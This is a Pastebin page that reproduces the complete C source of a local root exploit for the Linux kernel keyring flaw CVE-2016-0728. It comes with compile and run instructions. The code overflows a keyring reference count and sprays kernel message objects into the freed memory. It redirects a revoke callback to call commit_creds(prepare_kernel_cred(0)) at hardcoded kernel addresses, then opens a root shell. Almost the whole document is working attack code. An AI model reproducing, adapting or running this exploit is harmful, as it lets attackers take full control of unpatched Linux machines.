SHARE
TWEET

[+] Linux Kernel +3.8 0day PoC [+]

_d3f4ult Jan 20th, 2016 (edited) 1,892 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f */
  2. /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
  3. /* $ ./cve_2016_072 PP_KEY */
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/types.h>
  9. #include <keyutils.h>
  10. #include <unistd.h>
  11. #include <time.h>
  12. #include <unistd.h>
  13.  
  14. #include <sys/ipc.h>
  15. #include <sys/msg.h>
  16.  
  17. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  18. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  19. _commit_creds commit_creds;
  20. _prepare_kernel_cred prepare_kernel_cred;
  21.  
  22. #define STRUCT_LEN (0xb8 - 0x30)
  23. #define COMMIT_CREDS_ADDR (0xffffffff81094250)
  24. #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
  25.  
  26.  
  27.  
  28. struct key_type {
  29.     char * name;
  30.     size_t datalen;
  31.     void * vet_description;
  32.     void * preparse;
  33.     void * free_preparse;
  34.     void * instantiate;
  35.     void * update;
  36.     void * match_preparse;
  37.     void * match_free;
  38.     void * revoke;
  39.     void * destroy;
  40. };
  41.  
  42. void userspace_revoke(void * key) {
  43.     commit_creds(prepare_kernel_cred(0));
  44. }
  45.  
  46. int main(int argc, const char *argv[]) {
  47.     const char *keyring_name;
  48.     size_t i = 0;
  49.     unsigned long int l = 0x100000000/2;
  50.     key_serial_t serial = -1;
  51.     pid_t pid = -1;
  52.     struct key_type * my_key_type = NULL;
  53.    
  54. struct { long mtype;
  55.         char mtext[STRUCT_LEN];
  56.     } msg = {0x4141414141414141, {0}};
  57.     int msqid;
  58.  
  59.     if (argc != 2) {
  60.         puts("usage: ./keys <key_name>");
  61.         return 1;
  62.     }
  63.  
  64.     printf("uid=%d, euid=%d\n", getuid(), geteuid());
  65.     commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
  66.     prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
  67.    
  68.     my_key_type = malloc(sizeof(*my_key_type));
  69.  
  70.     my_key_type->revoke = (void*)userspace_revoke;
  71.     memset(msg.mtext, 'A', sizeof(msg.mtext));
  72.  
  73.     // key->uid
  74.     *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
  75.     //key->perm
  76.     *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
  77.  
  78.     //key->type
  79.     *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
  80.  
  81.     if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
  82.         perror("msgget");
  83.         exit(1);
  84.     }
  85.  
  86.     keyring_name = argv[1];
  87.  
  88.     /* Set the new session keyring before we start */
  89.  
  90.     serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
  91.     if (serial < 0) {
  92.         perror("keyctl");
  93.         return -1;
  94.     }
  95.    
  96.     if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
  97.         perror("keyctl");
  98.         return -1;
  99.     }
  100.  
  101.  
  102.     puts("Increfing...");
  103.     for (i = 1; i < 0xfffffffd; i++) {
  104.         if (i == (0xffffffff - l)) {
  105.             l = l/2;
  106.             sleep(5);
  107.         }
  108.         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
  109.             perror("keyctl");
  110.             return -1;
  111.         }
  112.     }
  113.     sleep(5);
  114.     /* here we are going to leak the last references to overflow */
  115.     for (i=0; i<5; ++i) {
  116.         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
  117.             perror("keyctl");
  118.             return -1;
  119.         }
  120.     }
  121.  
  122.     puts("finished increfing");
  123.     puts("forking...");
  124.     /* allocate msg struct in the kernel rewriting the freed keyring object */
  125.     for (i=0; i<64; i++) {
  126.         pid = fork();
  127.         if (pid == -1) {
  128.             perror("fork");
  129.             return -1;
  130.         }
  131.  
  132.         if (pid == 0) {
  133.             sleep(2);
  134.             if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
  135.                 perror("msgget");
  136.                 exit(1);
  137.             }
  138.             for (i = 0; i < 64; i++) {
  139.                 if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
  140.                     perror("msgsnd");
  141.                     exit(1);
  142.                 }
  143.             }
  144.             sleep(-1);
  145.             exit(1);
  146.         }
  147.     }
  148.    
  149.     puts("finished forking");
  150.     sleep(5);
  151.  
  152.     /* call userspace_revoke from kernel */
  153.     puts("caling revoke...");
  154.     if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
  155.         perror("keyctl_revoke");
  156.     }
  157.  
  158.     printf("uid=%d, euid=%d\n", getuid(), geteuid());
  159.     execl("/bin/sh", "/bin/sh", NULL);
  160.  
  161.     return 0;
  162. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top